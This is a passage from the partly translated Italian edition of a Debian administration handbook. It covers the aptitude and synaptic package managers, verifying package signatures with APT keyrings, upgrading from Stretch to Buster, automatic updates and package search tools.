Attenzione, se alcuni pacchetti sono marcati come automatici e nessun altro pacchetto dipende da loro, questi saranno rimossi immediatamente (dopo una richiesta di conferma).

6.5.1.1. Gestire raccomandazioni, suggerimenti e task

Another interesting feature of aptitude is the fact that it respects recommendations between packages while still giving users the choice not to install them on a case by case basis. For example, the gnome package recommends transmission-gtk (among others). When you select the former for installation, the latter will also be selected (and marked as automatic if not already installed on the system). Typing g will make it obvious: transmission-gtk appears on the summary screen of pending actions in the list of packages installed automatically to satisfy dependencies. However, you can decide not to install it by deselecting it before confirming the operations.

Si noti che questa funzione di tracciamento delle raccomandazioni non si applica agli aggiornamenti. Per esempio, se una nuova versione di gnome raccomanda un pacchetto che non raccomandava precedentemente, il pacchetto non viene contrassegnato per l'installazione. Tuttavia, esso sarà elencato nella schermata di aggiornamento in modo che l'amministratore possa sempre selezionarlo per l'installazione.

Suggestions between packages are also taken into account, but in a manner adapted to their specific status. For example, since gnome suggests empathy, the latter will be displayed on the summary screen of pending actions (in the section of packages suggested by other packages). This way, it is visible and the administrator can decide whether to take the suggestion into account or not. Since it is only a suggestion and not a dependency or a recommendation, the package will not be selected automatically — its selection requires a manual intervention from the user (thus, the package will not be marked as automatic).

Con lo stesso spirito, si ricordi che aptitude fa un uso intelligente del concetto di task. Dal momento che i task vengono visualizzati come categorie nelle schermate delle liste di pacchetti, è possibile selezionare un'intera attività per l'installazione o rimozione, o sfogliare la lista dei pacchetti inclusi nell'attività per selezionarne un insieme più piccolo.

6.5.1.2. Algoritmi funzionanti meglio

Per concludere questa sezione, si noti che aptitude ha degli algoritmi più elaborati rispetto ad apt-get quando si tratta di risolvere situazioni difficili. Quando è richiesto un insieme di azioni e quando queste azioni combinate potrebbero portare ad un sistema incoerente, aptitude valuta i diversi scenari possibili e li presenta in ordine decrescente di rilevanza. Tuttavia, questi algoritmi non sono infallibili. Fortunatamente c'è sempre la possibilità di selezionare manualmente le azioni da eseguire. Quando le azioni attualmente scelte portano a contraddizioni, la parte superiore dello schermo indica un numero di pacchetti «difettosi» (e si può navigare direttamente fra questi pacchetti premendo b). È dunque possibile costruire manualmente una soluzione al problema riscontrato. In particolare, è possibile ottenere l'accesso alle differenti versioni disponibili semplicemente selezionando il pacchetto con Invio. Se la selezione di una di queste versioni risolve il problema, non si dovrebbe esitare a usare quella funzione. Quando il numero di pacchetti difettosi raggiunge lo zero, si può andare senza problemi alla schermata riepilogativa delle azioni in attesa per un ultimo controllo prima di applicare i cambiamenti.

NOTA Il log di aptitude

Come dpkg, aptitude tiene traccia delle azioni eseguite nel suo file di log (/var/log/aptitude). Tuttavia, visto che i due comandi lavorano ad un livello totalmente differente, non è possibile trovare le stesse informazioni sui loro rispettivi file di log. Mentre dpkg registra tutte le operazioni eseguite su ogni singolo pacchetto, passo dopo passo, aptitude offre una visione più ampia delle operazioni ad alto livello come un aggiornamento di sistema.

Fare attenzione al fatto che questo file di log contiene solo un riassunto delle operazioni eseguite da aptitude. Se altri front-end (o anche dpkg stesso) sono occasionalmente usati, allora il log di aptitude conterrà solo una visione parziale delle operazioni, quindi non si può fare affidamento su di esso per ricostruire la storia esatta del sistema.

6.5.2. synaptic

synaptic è un gestore di pacchetti grafico per Debian che dispone di un'interfaccia grafica pulita ed efficiente basata su GTK+/GNOME. I suoi molti filtri già pronti da utilizzare consentono di accedere velocemente ai nuovi pacchetti disponibili, pacchetti installati, pacchetti aggiornabili, pacchetti obsoleti e così via. Se si naviga in questi elenchi, è possibile selezionare le opzioni da fare sui pacchetti (installare, aggiornare, rimuovere, eliminare completamente); queste operazioni non vengono eseguite immediatamente, ma messe in un elenco di attività. Un semplice clic su un pulsante convalida le operazioni, ed esse vengono eseguite in un sol colpo.

Figura 6.2. Il gestore di pacchetti synaptic

6.6. Controllare l'autenticità dei pacchetti

La sicurezza è molto importante per gli amministratori di Falcot Corp. Di conseguenza, devono garantire che vengano installati solo i pacchetti di cui è garantita la provenienza da Debian senza alcuna manomissione lungo il percorso. Un autore di attacchi informatici potrebbe tentare di aggiungere codice dannoso ad un pacchetto altrimenti legittimo. Tale pacchetto, se installato, potrebbe fare qualsiasi cosa per cui l'autore dell'attacco l'ha progettato, tra cui ad esempio scoprire password o informazioni riservate. Per ovviare a questo rischio, Debian fornisce un sigillo di garanzia a prova di manomissione per garantire, in fase di installazione, che un pacchetto venga veramente dal suo manutentore ufficiale e non sia stato modificato da terzi.

The seal works with a chain of cryptographical hashes and a signature and is explained in detail in apt-secure(8). Starting with Debian 10 Buster the signed file is the InRelease file, provided by the Debian mirrors. There is also a legacy file called Release. Both contain a list of the Packages files (including their compressed forms, Packages.gz and Packages.xz, and the incremental versions), along with their SHA256 hashes, which ensures that the files haven't been tampered with. These Packages files contain a list of the Debian packages available on the mirror, along with their hashes, which ensures in turn that the contents of the packages themselves haven't been altered either. The difference between InRelease and Release is that the former is cryptographically signed in-line, whereas the latter provides a detached signature in the form of the file Release.gpg.

NOTA Il futuro di Release e Release.gpg

Probably with the release of Debian 11 Bullseye APT will remove support for the legacy files Release and Release.gpg, used since APT 0.6, which introduced support for an archive authentication.

APT needs a set of trusted GnuPG public keys to verify signatures in the InRelease and Release.gpg files available on the mirrors. It gets them from files in /etc/apt/trusted.gpg.d/ and from the /etc/apt/trusted.gpg keyring (managed by the apt-key command). The official Debian keys are provided and kept up-to-date by the debian-archive-keyring package which puts them in /etc/apt/trusted.gpg.d/. Note, however, that the first installation of this particular package requires caution: even if the package is signed like any other, the signature cannot be verified externally. Cautious administrators should therefore check the fingerprints of imported keys before trusting them to install new packages:

# apt-key fingerprint

/etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg

----------------------------------------------------------

pub   rsa4096 2019-04-14 [SC] [expires: 2027-04-12]

80D1 5823 B7FD 1561 F9F7  BCDD DC30 D7C2 3CBB ABEE

uid           [ unknown] Debian Archive Automatic Signing Key (10/buster) <ftpmaster@debian.org>

sub   rsa4096 2019-04-14 [S] [expires: 2027-04-12]

/etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg

-------------------------------------------------------------------

pub   rsa4096 2019-04-14 [SC] [expires: 2027-04-12]

5E61 B217 265D A980 7A23  C5FF 4DFA B270 CAA9 6DFA

uid           [ unknown] Debian Security Archive Automatic Signing Key (10/buster) <ftpmaster@debian.org>

sub   rsa4096 2019-04-14 [S] [expires: 2027-04-12]

/etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg

-------------------------------------------------------

pub   rsa4096 2019-02-05 [SC] [expires: 2027-02-03]

6D33 866E DD8F FA41 C014  3AED DCC9 EFBF 77E1 1517

uid           [ unknown] Debian Stable Release Key (10/buster) <debian-release@lists.debian.org>

/etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg

----------------------------------------------------------

pub   rsa4096 2014-11-21 [SC] [expires: 2022-11-19]

126C 0D24 BD8A 2942 CC7D  F8AC 7638 D044 2B90 D010

uid           [ unknown] Debian Archive Automatic Signing Key (8/jessie) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg

-------------------------------------------------------------------

pub   rsa4096 2014-11-21 [SC] [expires: 2022-11-19]

D211 6914 1CEC D440 F2EB  8DDA 9D6D 8F6B C857 C906

uid           [ unknown] Debian Security Archive Automatic Signing Key (8/jessie) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg

-------------------------------------------------------

pub   rsa4096 2013-08-17 [SC] [expires: 2021-08-15]

75DD C3C4 A499 F1A1 8CB5  F3C8 CBF8 D6FD 518E 17E1

uid           [ unknown] Jessie Stable Release Key <debian-release@lists.debian.org>

/etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg

-----------------------------------------------------------

pub   rsa4096 2017-05-22 [SC] [expires: 2025-05-20]

E1CF 20DD FFE4 B89E 8026  58F1 E0B1 1894 F66A EC98

uid           [ unknown] Debian Archive Automatic Signing Key (9/stretch) <ftpmaster@debian.org>

sub   rsa4096 2017-05-22 [S] [expires: 2025-05-20]

/etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg

--------------------------------------------------------------------

pub   rsa4096 2017-05-22 [SC] [expires: 2025-05-20]

6ED6 F5CB 5FA6 FB2F 460A  E88E EDA0 D238 8AE2 2BA9

uid           [ unknown] Debian Security Archive Automatic Signing Key (9/stretch) <ftpmaster@debian.org>

sub   rsa4096 2017-05-22 [S] [expires: 2025-05-20]

/etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg

--------------------------------------------------------

pub   rsa4096 2017-05-20 [SC] [expires: 2025-05-18]

067E 3C45 6BAE 240A CEE8  8F6F EF0F 382A 1A7B 6500

uid           [ unknown] Debian Stable Release Key (9/stretch) <debian-release@lists.debian.org>

IN PRATICA Aggiungere chiavi fidate

Quando si aggiunge una sorgente di pacchetti di terze parti al file sources.list, APT ha bisogno di venire istruiti a fidarsi della corrispondente chiave GPG (altrimenti continuerà a ricordare che non può garantire l'autenticità dei pacchetti provenienti da quel repository). Il primo passo è ovviamente ottenere la chiave pubblica. Spesso, la chiave viene fornita come un piccolo file di testo, che verrà chiamato nei prossimi esempi key.asc.

To add the key to the trusted keyring, the administrator can just put it in a *.asc file in /etc/apt/trusted.gpg.d/. This is supported since Debian Stretch. With older releases, you had to run apt-key add < key.asc.

Una volta che le chiavi appropriate sono nel portafoglio, APT controlla le firme prima di ogni operazione rischiosa, così che le interfacce mostrano a video un messaggio se si richiede di installare un pacchetto la cui autenticità non può essere verificata.

6.7. Aggiornare da una distribuzione stabile alla successiva

Una delle caratteristiche più note di Debian è la sua capacità di aggiornare il sistema installato da un rilascio stabile a quello successivo: dist-upgrade, un termine ben noto, ha in gran parte contribuito alla reputazione del progetto. Con alcune precauzioni, l'aggiornamento di un computer può richiedere da un minimo di pochi, fino a qualche decina, di minuti a seconda della velocità di scaricamento dai repository dei pacchetti.

6.7.1. Procedura raccomandata

Dal momento che Debian ha un tempo abbastanza lungo per evolvere fra i rilasci stabili, si consiglia di leggere le note di rilascio prima di fare l'aggiornamento.

FONDAMENTALI Note di rilascio

Le note di rilascio per un sistema operativo (e, più genericamente, per qualsiasi software) sono un documento che fornisce una panoramica sul software, con alcuni dettagli riguardanti le particolarità di una versione. Questi documenti sono in genere più brevi rispetto alla documentazione completa, e di solito elencano le caratteristiche introdotte dalla versione precedente. Forniscono anche dettagli sulle procedure di aggiornamento, avvertenze per gli utenti delle versioni precedenti, e talvolta errata.

Release notes are available online: the release notes for the current stable release have a dedicated URL, while older release notes can be found with their codenames:

→ https://www.debian.org/releases/stable/releasenotes

→ https://www.debian.org/releases/stretch/releasenotes

In this section, we will focus on upgrading a Stretch system to Buster. This is a major operation on a system; as such, it is never 100% risk-free, and should not be attempted before all important data has been backed up.

Un'altra buona abitudine che permette un aggiornamento più facile (e veloce) è di riordinare i pacchetti installati e mantenere solo quelli che sono realmente necessari. Strumenti utili per fare questo sono aptitude, deborphan e debfoster (vedere la Sezione 6.2.7, «Tenere traccia dei pacchetti installati automaticamente»). Per esempio, è possibile usare il comando seguente e poi usare la modalità interattiva di aptitude per ricontrollare e aggiustare le rimozioni pianificate:

# deborphan | xargs aptitude --schedule-only remove

TIP Finding changed files

The debsums command can check if files on the local system, which are part of an installed package, have been altered. It uses a simple hashsum algorithm and the information in /var/lib/dpkg/info/package.md5sums (see Sezione 5.2.3, «Somme di controllo, elenco di file di configurazione»). To find all altered configuration files use debsums -ec. To check the whole system, use debsums -c.

Now for the upgrading itself. First, you need to change the /etc/apt/sources.list file to tell APT to get its packages from Buster instead of Stretch. If the file only contains references to Stable rather than explicit codenames, the change isn't even required, since Stable always refers to the latest released version of Debian. In both cases, the database of available packages must be refreshed (with the apt update command or the refresh button in synaptic).

NOTE Repository information changes

When a new stable version of Debian is released, some fields in the Release and InRelease files of a repository change, like the Suite field. When this happens, downloading data from the repository is declined until the change is confirmed to ensure the user is prepared for it. To confirm the change use the --allow-releaseinfo-change or --allow-releaseinfo-change-field options for apt-get or the Acquire::AllowReleaseInfoChange configuration option.

Una volta che queste nuove fonti di pacchetti sono registrate, si dovrebbe prima fare un aggiornamento minimale con apt upgrade. Facendo l'aggiornamento in due fasi, si facilita il compito degli strumenti di gestione dei pacchetti e spesso si garantisce la presenza delle loro più recenti versioni che possono aver incorporato risoluzioni di bug e miglioramenti necessari per completare l'aggiornamento completo del sistema.

Once this first upgrade is done, it is time to handle the upgrade itself, either with apt full-upgrade, aptitude, or synaptic. You should carefully check the suggested actions before applying them: you might want to add suggested packages or deselect packages which are only recommended and known not to be useful. In any case, the front-end should come up with a scenario ending in a coherent and up-to-date Buster system. Then, all you need is to do is wait while the required packages are downloaded, answer the debconf questions and possibly those about locally modified configuration files, and sit back while APT does its magic.

6.7.2. Gestire i problemi dopo un aggiornamento

Nonostante i migliori sforzi dei manutentori Debian, un importante aggiornamento di sistema non va sempre liscio come si spera. Le nuove versioni del software possono essere incompatibili con quelle precedenti (per esempio, il loro comportamento predefinito o il loro formato dei dati potrebbe essere cambiato). Inoltre, alcuni bug possono sfuggire, nonostante la fase di sperimentazione, che precede sempre un rilascio di Debian.

Per anticipare alcuni di questi problemi, è possibile installare il pacchetto apt-listchanges, che visualizza le informazioni sui possibili problemi all'inizio dell'aggiornamento di un pacchetto. Queste informazioni sono compilate dai manutentori dei pacchetti e inserite nel file /usr/share/doc/pacchetto/NEWS.Debian a beneficio degli utenti. Leggere questi file (possibilmente attraverso apt-listchanges) dovrebbe aiutare ad evitare brutte sorprese.

A volte è possibile che la nuova versione di un software non funzioni affatto. Questo in genere accade se l'applicazione non è particolarmente popolare e non è stata testata a sufficienza; un aggiornamento dell'ultimo minuto può anche introdurre regressioni che vengono scoperte solo dopo il rilascio stabile. In entrambi i casi, la prima cosa da fare è dare uno sguardo al sistema di tracciamento dei bug su https://bugs.debian.org/package, e verificare se il problema è già stato segnalato. In tal caso, verrà elencato anche prima dell'inizio dell'aggiornamento, se apt-listbugs è installato. Se non lo è, dovresti essere tu a segnalarlo con reportbug. Se è già noto, la segnalazione di bug e i messaggi associati sono in genere un'eccellente fonte di informazioni relative al bug:

- a volte una soluzione esiste già, ed è disponibile nella segnalazione di bug; si può allora ricompilare localmente una versione corretta del pacchetto non funzionante (vedere la Sezione 15.1, «Rigenerare un pacchetto dai suoi sorgenti»);

- in altri casi, gli utenti potrebbero aver trovato un modo di superare il problema e condiviso le loro conoscenze al riguardo nelle loro risposte alla segnalazione;

- in altri casi ancora, un pacchetto corretto potrebbe essere già stato preparato e reso pubblico da parte del manutentore.

Depending on the severity of the bug, a new version of the package may be prepared specifically for a new revision of the stable release. When this happens, the fixed package is made available in the proposed-updates section of the Debian mirrors (see Sezione 6.1.2.3, «Aggiornamenti proposti»). The corresponding entry can then be temporarily added to the sources.list file, and updated packages can be installed with apt or aptitude.

Sometimes the fixed package isn't available in this section yet because it is pending a validation by the Stable Release Managers. You can verify if that is the case on their web page. Packages listed there aren't available yet, but at least you know that the publication process is ongoing.

→ https://release.debian.org/proposed-updates/stable.html

6.7.3. Pulizia dopo un aggiornamento

APT usually ensures a clean upgrade, pulling in new and updated dependencies, or removing conflicting packages. But even being such a great tool, it cannot cover all tasks users and administrators will face after an upgrade, because they require a human decision.

6.7.3.1. Packages removed from the Debian Archive

Sometimes the Debian FTP Masters remove packages from the Debian archive, because they contain release critical bugs, were abandoned by their upstream author or their package maintainer, or simply reached their end of life. In this case a newer Debian release does not ship the package anymore. To find all packages, which do not have a package source, use the apt-show-versions command:

$ apt-show-versions | grep "No available version"

A similar result can be achieved by aptitude search ~o. If the packages found are not required anymore, they should be purged from the system, because they will not face any updates for critical or security related bugs anymore.

6.7.3.2. Dummy and Transitional Packages

Sometimes, it might be necessary for a package to get a new name. In this case often the old package is kept as an (almost) empty package, depending on the new one and installing only the mandatory files in /usr/share/doc/package/. Such packages are called "dummy" or "transitional" packages. If the package maintainer in charge also changed the section of this package to oldlibs, then tools like aptitude, deboprhan, or debfoster (see sidebar ALTERNATIVA deborphan e debfoster) can pickup these packages to suggest their removal.

Unfortunately there is currently no foolproof way of making sure that these packages are automatically removed or picked by the tools mentioned above. One way to check if the system still has some of these packages installed, is to look through the package descriptions of installed packages and then check the results. Be careful not to schedule the results for automatic removal, because this method can lead to false positives:

$ dpkg -l | grep ^ii | grep -i -E "(transition|dummy)"

Because the new package is pulled in as a dependency of the transitional package, it is usually marked as automatically installed and might be scheduled for removal if you try to purge the transitional package from your system. In this case you can use either of the approaches described in sidebar SUGGERIMENTO Rimozione e installazione nello stesso momento and Sezione 6.2.7, «Tenere traccia dei pacchetti installati automaticamente» to selectively remove the transitional package.

6.7.3.3. Old or Unused Configuration Files

If the upgrade was successful there might be some configuration file cruft, either from dpkg (see Sezione 5.2.3, «Somme di controllo, elenco di file di configurazione»), ucf or from removed packages. The latter can be purged by using apt autoremove --purge. The configuration files that were handled by dpkg or ucf during the upgrade process have left some counterparts with a dedicated suffix (e.g. .dpkg-dist, .dpkg-old, .ucf-old). Using the find or locate command can help to track them down. If they are no longer of any use, they can be deleted.

6.7.3.4. Files not owned by any Package

The Debian policy enforces that packages don't leave files behind when they are purged. Violating this principle is a serious bug and you will rarely encounter it. If you do, report it; and if you are curious though, you can use the cruft or cruft-ng package to check your system for files not owned by any package.

6.8. Mantenere un sistema sempre aggiornato

The Debian distribution is dynamic and changes continually. Most of the changes are in the Testing and Unstable versions, but even Stable is updated from time to time, mostly for security-related fixes. Whatever version of Debian a system runs, it is generally a good idea to keep it up to date, so that you can get the benefit of recent evolution and bug fixes.

Sebbene sia ovviamente possibile eseguire periodicamente uno strumento per controllare gli aggiornamenti disponibili ed eseguire gli aggiornamenti, tale compito ripetitivo è noioso, soprattutto quando deve essere eseguito su diverse macchine. Fortunatamente, come molte attività ripetitive, può essere in parte automatizzato, e una serie di strumenti sono già stati sviluppati in tal senso.

Il primo di questi strumenti è apticron, nel pacchetto omonimo. Il suo effetto principale è quello di eseguire quotidianamente uno script (via cron). Gli script aggiornano la lista dei pacchetti disponibili, e, se alcuni pacchetti installati non sono aggiornati all'ultima versione disponibile, invia un'e-mail con un elenco di questi pacchetti con i cambiamenti che sono stati fatti nelle nuove versioni. Ovviamente, questo pacchetto si rivolge principalmente agli utenti di Debian Stable, dal momento che i messaggi di posta elettronica giornalieri sarebbero molto lunghi per le versioni più dinamiche di Debian. Quando gli aggiornamenti sono disponibili, apticron li scarica automaticamente. Non li installa: sarà sempre l'amministratore a farlo, ma avere i pacchetti già scaricati e disponibili a livello locale (nella cache di APT), rende il lavoro più veloce.

Administrators in charge of several computers will no doubt appreciate being informed of pending upgrades, but the upgrades themselves are still as tedious as they used to be. Periodic upgrades can be enabled: it uses a systemd timer unit or cron. If systemd is not installed, the /etc/cron.daily/apt-compat script (in the apt package) comes in handy. This script is run daily (and non-interactively) by cron. To control the behavior, use APT configuration variables (which are therefore stored in a file /etc/apt/apt.conf.d/10periodic). The main variables are:

APT::Periodic::Update-Package-Lists

Questa opzione permette di specificare la frequenza (in giorni) con la quale verrà aggiornata la lista pacchetti. Gli utenti di apticron possono fare a meno di questa variabile, in quanto apticron si occupa già di questa funzione.

APT::Periodic::Download-Upgradeable-Packages

Ancora una volta, questa opzione indica la frequenza (in giorni), questa volta per lo scaricamento dei pacchetti veri e propri. Anche in questo caso, gli utenti di apticron non ne avranno bisogno.

APT::Periodic::AutocleanInterval

Questa opzione copre una funzione che apticron non ha. Controlla quanto spesso i pacchetti obsoleti (quelli a cui non fa più riferimento alcuna distribuzione) vengono rimossi dalla cache di APT. Ciò mantiene la cache di APT ad una dimensione ragionevole e significa che non ci si deve più preoccupare di questo lavoro.

APT::Periodic::Unattended-Upgrade

When this option is enabled, the daily script will execute unattended-upgrade (from the unattended-upgrades package) which — as its name suggest — can automatize the upgrade process for some packages (by default it only takes care of security updates, but this can be customized in /etc/apt/apt.conf.d/50unattended-upgrades). Note that this option can be set with the help of debconf by running dpkg-reconfigure -plow unattended-upgrades. If apt-listbugs is installed, it will prevent an automatic upgrade of packages which are affected by an already reported serious or grave bug.

Other options can allow you to control the cache cleaning behavior with more precision. They are not listed here, but they are described in the /usr/lib/apt/apt.systemd.daily script.

These tools work very well for servers, but desktop users generally prefer a more interactive system. The package gnome-software provides an icon in the notification area of desktop environments when updates are available; clicking on this icon then runs an interface to perform updates. You can browse through available updates, read the short description of the relevant packages and the corresponding changelog entries, and select whether to apply the update or not on a case-by-case basis.

Figura 6.3. Aggiornare con gpk-update-viewer

This tool is no longer installed in the default GNOME desktop. The new philosophy is that security updates should be automatically installed, either in the background or, preferably, when you shutdown your computer so as to not confuse any running application.

6.9. Aggiornamenti automatici

Visto che Falcot Corp ha molti computer ma una manodopera limitata, i suoi amministrazioni cercano di rendere gli aggiornamenti il più automatici possibili. I programmi incaricati di tali processi devono perciò essere eseguiti senza intervento umano.

6.9.1. Configurare dpkg

As we have already mentioned (see sidebar APPROFONDIMENTI Evitare le domande del file di configurazione), dpkg can be instructed not to ask for confirmation when replacing a configuration file (with the --force-confdef --force-confold options). Interactions can, however, have three other sources: some come from APT itself, some are handled by debconf, and some happen on the command line due to package configuration scripts (sometimes handled by ucf).

6.9.2. Configurare APT

Nel caso di APT è semplice: l'opzione -y (o --assume-yes) dice ad APT di considerare la risposta a qualsiasi sua domanda un «sì».

6.9.3. Configurare debconf

Il caso di debconf merita ulteriori dettagli. Questo programma è stato, fin dal suo principio, progettato per controllare l'importanza e la quantità di domande mostrate all'utente, così come il modo in cui vengono visualizzate. Ecco perché la sua configurazione richiede una priorità minima per le domande; solo le domande con priorità superiore alla minima vengono visualizzate. debconf imposta la risposta predefinita (impostata dal manutentore del pacchetto) per le domande che si decide di saltare.

Un altro elemento di configurazione rilevante è l'interfaccia usata dal front-end. Se si seleziona noninteractive tra le scelte date, tutte le interazioni utente sono disabilitate. Se il pacchetto cerca di visualizzare una nota informativa, essa verrà inviata all'amministratore tramite email.

Per riconfigurare debconf, si usa il programma dpkg-reconfigure nel pacchetto debconf; il relativo comando è dpkg-reconfigure debconf. Si noti che i valori configurati possono essere temporaneamente modificati con le variabili di ambiente quando necessario (ad esempio, DEBIAN_FRONTEND controlla l'interfaccia, come documentato nella pagina del manuale debconf(7)).

6.9.4. Gestire interazioni a riga di comando

L'ultima sorgente di interazioni, e la più difficile da eliminare, sono gli script di configurazione eseguiti da dpkg. Sfortunatamente non c'è una soluzione standard, e non c'è alcuna risposta nettamente migliore di un'altra.

L'approccio comune è quello di sopprimere lo standard input reindirizzando il contenuto vuoto di /dev/null in esso con il comando comando </dev/null, o di alimentarlo con un flusso infinito di nuove righe. Nessuno di questi metodi è affidabile al 100%, ma in genere portano all'uso delle risposte predefinite, dal momento che la maggior parte degli script considera la mancanza di una risposta come un'accettazione dei valori predefiniti.

6.9.5. La combinazione miracolosa

Combinando gli elementi precedenti, è possibile progettare un piccolo ma piuttosto affidabile script che può gestire gli aggiornamenti automatici.

Esempio 6.5. Script di aggiornamento non interattivo

export DEBIAN_FRONTEND=noninteractive

yes '' | apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" dist-upgrade

IN PRATICA Il caso della Falcot Corp

I computer della Falcot sono un sistema eterogeneo, con macchine che hanno funzioni diverse. Gli amministratori sceglieranno la soluzione migliore per ogni computer.

In practice, the servers running Buster are configured with the “miracle combination” above, and are kept up to date automatically. Only the most critical servers (the firewalls, for instances) are set up with apticron, so that upgrades always happen under the supervision of an administrator.

The office workstations in the administrative services also run Buster, but they are equipped with gnome-packagekit, so that users trigger the upgrades themselves. The rationale for this decision is that if upgrades happen without an explicit action, the behavior of the computer might change unexpectedly, which could cause confusion for the main users.

Nei laboratori, i pochi computer che usano Testing, per avere i vantaggi delle più recenti versioni del software, non sono neanch'essi aggiornati automaticamente. Gli amministratori configurano APT per preparare gli aggiornamenti ma non eseguirli; quando decidono di aggiornare (manualmente), la parte noiosa dell'aggiornamento della lista pacchetti e di scaricare i pacchetti verrà evitata, e gli amministratori possono concentrarsi sulla parte veramente utile.

6.10. Ricercare pacchetti

Con la grande e sempre crescente quantità di software in Debian, emerge un paradosso: Debian solitamente ha uno strumento per la maggior parte delle necessità, ma quel programma può essere veramente difficile da trovare fra la miriade di altri pacchetti. La mancanza di una via appropriata per cercare (e trovare) il giusto programma è stata a lungo un problema. Per fortuna, questo problema è stato risolto quasi del tutto.

La ricerca più banale possibile è la ricerca con il nome esatto di un pacchetto. Se apt show pacchetto restituisce un risultato, allora quel pacchetto esiste. Sfortunatamente, questo richiede di conoscere o anche di indovinare il nome del pacchetto, e ciò non è sempre possibile.

SUGGERIMENTO Convenzioni per i nomi dei pacchetti

Alcune categorie di pacchetti hanno nomi basati su uno schema di denominazione convenzionale, conoscendo il sistema ci si può permettere a volte di indovinare i nomi dei pacchetti esatti. Ad esempio, per i moduli Perl, la convenzione dice che un modulo chiamato XML::Handler::Composer dovrebbe essere contenuto in un pacchetto libxml-handler-composer-perl. La libreria che consente l'uso del sistema gconf da Python è contenuta in python-gconf. Non è possibile definire uno schema generico per tutti i pacchetti, anche se di solito i manutentori dei pacchetti cercano di seguire la scelta degli sviluppatori originali.

A slightly more successful searching pattern is a plain-text search in package names, but it remains very limited. You can generally find results by searching package descriptions: since each package has a more or less detailed description in addition to its package name, a keyword search in these descriptions will often be useful. apt-cache and axi-cache are the tools of choice for this kind of search (see ALTERNATIVA axi-cache); for instance, apt-cache search video will return a list of all packages whose name or description contains the keyword “video”.

Per ricerche più complesse, è necessario uno strumento più potente come aptitude. aptitude permette di cercare usando un'espressione logica basata sui campi dei metadati dei pacchetti. Per esempio, il seguente comando cerca i pacchetti il cui nome contiene kino, la cui descrizione contiene video e il cui nome del manutentore contiene paul:

$ aptitude search kino~dvideo~mpaul

p   kino  - Non-linear editor for Digital Video data

$ aptitude show kino

Package: kino

Version: 1.3.4+dfsg0-1

State: not installed

Priority: optional

Section: video

Maintainer: Paul Brossier <piem@debian.org>

Architecture: amd64

Uncompressed Size: 8,304 k

Depends: libasound2 (>= 1.0.16), libatk1.0-0 (>= 1.12.4), libavc1394-0 (>= 0.5.3), libavcodec58 (>=

7:4.0) | libavcodec-extra58 (>= 7:4.0), libavformat58 (>= 7:4.0), libavutil56 (>= 7:4.0),

libc6 (>= 2.14), libcairo2 (>= 1.2.4), libdv4 (>= 1.0.0), libfontconfig1 (>= 2.12.6),

libfreetype6 (>= 2.2.1), libgcc1 (>= 1:3.0), libgdk-pixbuf2.0-0 (>= 2.22.0), libglade2-0

(>= 1:2.6.4-2~), libglib2.0-0 (>= 2.16.0), libgtk2.0-0 (>= 2.24.32), libice6 (>= 1:1.0.0),

libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0), libpangocairo-1.0-0 (>= 1.14.0),

libpangoft2-1.0-0 (>= 1.14.0), libquicktime2 (>= 2:1.2.2), libraw1394-11, libsamplerate0

(>= 0.1.7), libsm6, libstdc++6 (>= 5.2), libswscale5 (>= 7:4.0), libx11-6, libxext6,

libxml2 (>= 2.7.4), libxv1, zlib1g (>= 1:1.1.4)

Recommends: ffmpeg, curl

Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora

Conflicts: kino-dvtitler, kino-timfx, kinoplus

Replaces: kino-dvtitler, kino-timfx, kinoplus

Provides: kino-dvtitler, kino-timfx, kinoplus

Description: Non-linear editor for Digital Video data

Kino allows you to record, create, edit, and play movies recorded with DV camcorders. This program

uses many keyboard commands for fast navigating and editing inside the movie.

The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly distributed as separate

packages, are now provided with Kino.

Homepage: http://www.kinodv.org/

Tags: field::arts, hardware::camera, implemented-in::c, implemented-in::c++, interface::graphical,

interface::x11, role::program, scope::application, suite::gnome, uitoolkit::gtk,

use::editing, use::learning, works-with::video, x11::application

Il risultato mostra solo un pacchetto, kino, che soddisfa tutti e tre i criteri.

Anche queste ricerche con più criteri sono poco maneggevoli, il che spiega il motivo per cui non sono usate quanto potrebbero. È stato perciò sviluppato un nuovo sistema di etichettatura, e fornisce un nuovo approccio alla ricerca. Ai pacchetti sono assegnate delle etichette che forniscono una classificazione tematica su varie aree, nota come «classificazione basata su faccette». Nel caso di kino qui sopra, le etichette del pacchetto («tag») indicano che Kino è un software basato su Gnome che funziona sui dati video e il cui scopo principale è la modifica.

Browsing this classification can help you to search for a package which corresponds to known needs; even if it returns a (moderate) number of hits, the rest of the search can be done manually. To do that, you can use the ~G search pattern in aptitude, but it is probably easier to simply navigate the site where tags are managed:

→ https://debtags.debian.org/

Se si selezionano le etichette works-with::video e use::editing, si ottengono una manciata di pacchetti, inclusi gli editor video kino e pitivi. Questo sistema di classificazione è destinato ad essere usato sempre di più col passare del tempo, e i gestori dei pacchetti forniranno gradualmente interfacce di ricerca efficienti basate su di esso.

Per riassumere, il migliore strumento per il lavoro dipende dalla complessità della ricerca che si desidera fare:

- apt-cache permette solo la ricerca nei nomi e nelle descrizioni dei pacchetti, che è molto comodo quando si cerca un particolare pacchetto che corrisponde ad alcune parole chiave;

- quando i criteri di ricerca includono anche relazioni tra i pacchetti o altri metadati come il nome del manutentore, sarà più utile synaptic;

- quando è necessaria una ricerca basata su etichette, un buon strumento è packagesearch, un'interfaccia grafica dedicata alla ricerca dei pacchetti disponibili secondo diversi criteri (tra cui i nomi dei file in essi contenuti). Per l'uso dalla riga di comando, axi-cache sarà adatto allo scopo.

- infine, quando le ricerche comportano espressioni complesse con operazioni logiche, lo strumento da scegliere sarà la sintassi per i modelli di ricerca di aptitude, che è piuttosto potente nonostante sia un po' oscura; funziona sia a riga di comando sia in modo interattivo.

Capitolo 7. Risoluzione dei problemi e reperimento delle principali informazioni

